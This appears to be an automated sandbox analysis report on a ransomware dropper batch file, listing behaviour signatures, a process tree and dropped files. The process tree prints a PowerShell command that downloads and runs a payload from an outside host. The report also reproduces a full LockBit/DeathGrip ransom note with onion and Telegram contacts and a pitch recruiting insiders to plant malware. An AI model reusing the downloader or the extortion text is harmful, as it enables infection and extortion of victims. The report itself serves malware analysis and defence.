Analysis
- max time kernel
149s - max time network
139s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
- submitted
04/09/2024, 12:18
General
- Target Dropper.bat
- Size 470B
- Sample240904-pgn5ca1drd
- SHA256 6bce98ce8751d6f87e97578a05e606a0b699f24c1a69b96cd28ef88d4984fe71
Malware Config
Extracted
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ps1
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exe.dropper
https://master-repogen.vercel.app/file/server.scr
Extracted
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C:\wlJ8FiR2h.README.txt
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lockbit
- ~~~ LockBit 3.0 the world's fastest ransomware since 2019~~~ >>>> Your data are stolen and encrypted The data will be published on TOR website if you do not pay the ransom DeathGrip Ransomware Attack | t.me/DeathGripRansomware This computer is attacked by russian ransomware community of professional black hat hackers. Your every single documents / details is now under observation of those hackers. If you want to get it back then you have to pay 1000$ for it. This Attack Is Done By Team RansomVerse You Can Find Us On Telegram @DeathGripRansomware Contact The Owner For The Decrypter Of This Ransomware #DeathGripMalware >>>> What guarantees that we will not deceive you? We are not a politically motivated group and we do not need anything other than your money. If you pay, we will provide you the programs for decryption and we will delete your data. Life is too short to be sad. Be not sad, money, it is only paper. If we do not give you decrypters, or we do not delete your data after payment, then nobody will pay us in the future. Therefore to us our reputation is very important. We attack the companies worldwide and there is no dissatisfied victim after payment. You can obtain information about us on Telegram t.me/DeathGripRansomware >>>> You need contact us and decrypt one file for free on these TOR sites with your personal DECRYPTION ID Download and install TOR Browser https://www.torproject.org/ Write to a chat and wait for the answer, we will always answer you. Sometimes you will need to wait for our answer because we attack many companies. Links for Tor Browser: http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd.onion http://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion Link for the normal browser http://lockbitsupp.uz >>>> Your personal DECRYPTION ID: B7568014A48684D6D525F3F3722638C4 >>>> Warning! Do not DELETE or MODIFY any files, it can lead to recovery problems! >>>> Warning! If you do not pay the ransom we will attack your company repeatedly again! >>>> Advertisement Would you like to earn millions of dollars $$$ ? Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company. You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company. You can do it both using your work computer or the computer of any other employee in order to divert suspicion of being in collusion with us. Companies pay us the foreclosure for the decryption of files and prevention of data leak. You can contact us using on Telegram messenger without registration and text t.me/DeathGripRansomware Using Tox messenger, we will never know your real name, it means your privacy is guaranteed. If you want to contact us, write in jabber or tox. If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave browser Links for Tor Browser: http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion
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http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion
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http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd.onion
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http://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion
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http://lockbitsupp.uz
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http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion
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http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion
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http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion
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http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion
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http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion
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http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion
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http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion
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http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion
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http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion
Signatures
- Lockbit
Ransomware family with multiple variants released since late 2019.
- Rule to detect Lockbit 3.0 ransomware Windows payload 1 IoCs
- Renames multiple (634) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Blocklisted process makes network request 1 IoCs
- Downloads MZ/PE file
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Drops desktop.ini file(s) 2 IoCs
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Drops file in System32 directory 4 IoCs
- Sets desktop wallpaper using registry 2 TTPs 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies Control Panel 2 IoCs
- Modifies registry class 5 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 13 IoCs
- Suspicious use of WriteProcessMemory 16 IoCs
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Dropper.bat"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://master-repogen.vercel.app/file/server.scr', 'C:\Users\Admin\Downloads\server.scr')"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\Downloads\server.scr"C:\Users\Admin\Downloads\server.scr"2⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122883⤵
- Drops file in System32 directory
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C:\ProgramData\F936.tmp"C:\ProgramData\F936.tmp"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q C:\PROGRA~3\F936.tmp >> NUL4⤵
- System Location Discovery: System Language Discovery
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵
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C:\Windows\system32\printfilterpipelinesvc.exeC:\Windows\system32\printfilterpipelinesvc.exe -Embedding1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE/insertdoc "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\{97770A94-0D5C-429F-B4D0-29072EFFBD2C}.xps" 1336992590529800002⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
DDDDDDDDDDD
F936.tmp
__PSScriptPolicyTest_ziblrjb4.egp.ps1
IIIIIIIIII
server.scr
wlJ8FiR2h.README.txt
DDDDDDDDDDD
memory/1668-2987-0x0000000000F50000-0x0000000000F60000-memory.dmp
memory/1668-21-0x0000000000F50000-0x0000000000F60000-memory.dmp
memory/1668-20-0x0000000000F50000-0x0000000000F60000-memory.dmp
memory/1668-22-0x0000000000F50000-0x0000000000F60000-memory.dmp
memory/1668-2986-0x0000000000F50000-0x0000000000F60000-memory.dmp
memory/1988-3000-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp
memory/1988-2999-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp
memory/1988-3001-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp
memory/1988-3002-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp
memory/1988-3003-0x00007FFD17B50000-0x00007FFD17B60000-memory.dmp
memory/1988-3018-0x00007FFD15480000-0x00007FFD15490000-memory.dmp
memory/1988-3037-0x00007FFD15480000-0x00007FFD15490000-memory.dmp
memory/4328-0-0x00007FFD39AA3000-0x00007FFD39AA5000-memory.dmp
memory/4328-12-0x00007FFD39AA0000-0x00007FFD3A561000-memory.dmp
memory/4328-16-0x00007FFD39AA0000-0x00007FFD3A561000-memory.dmp
memory/4328-11-0x00007FFD39AA0000-0x00007FFD3A561000-memory.dmp
memory/4328-1-0x0000024FC0B40000-0x0000024FC0B62000-memory.dmp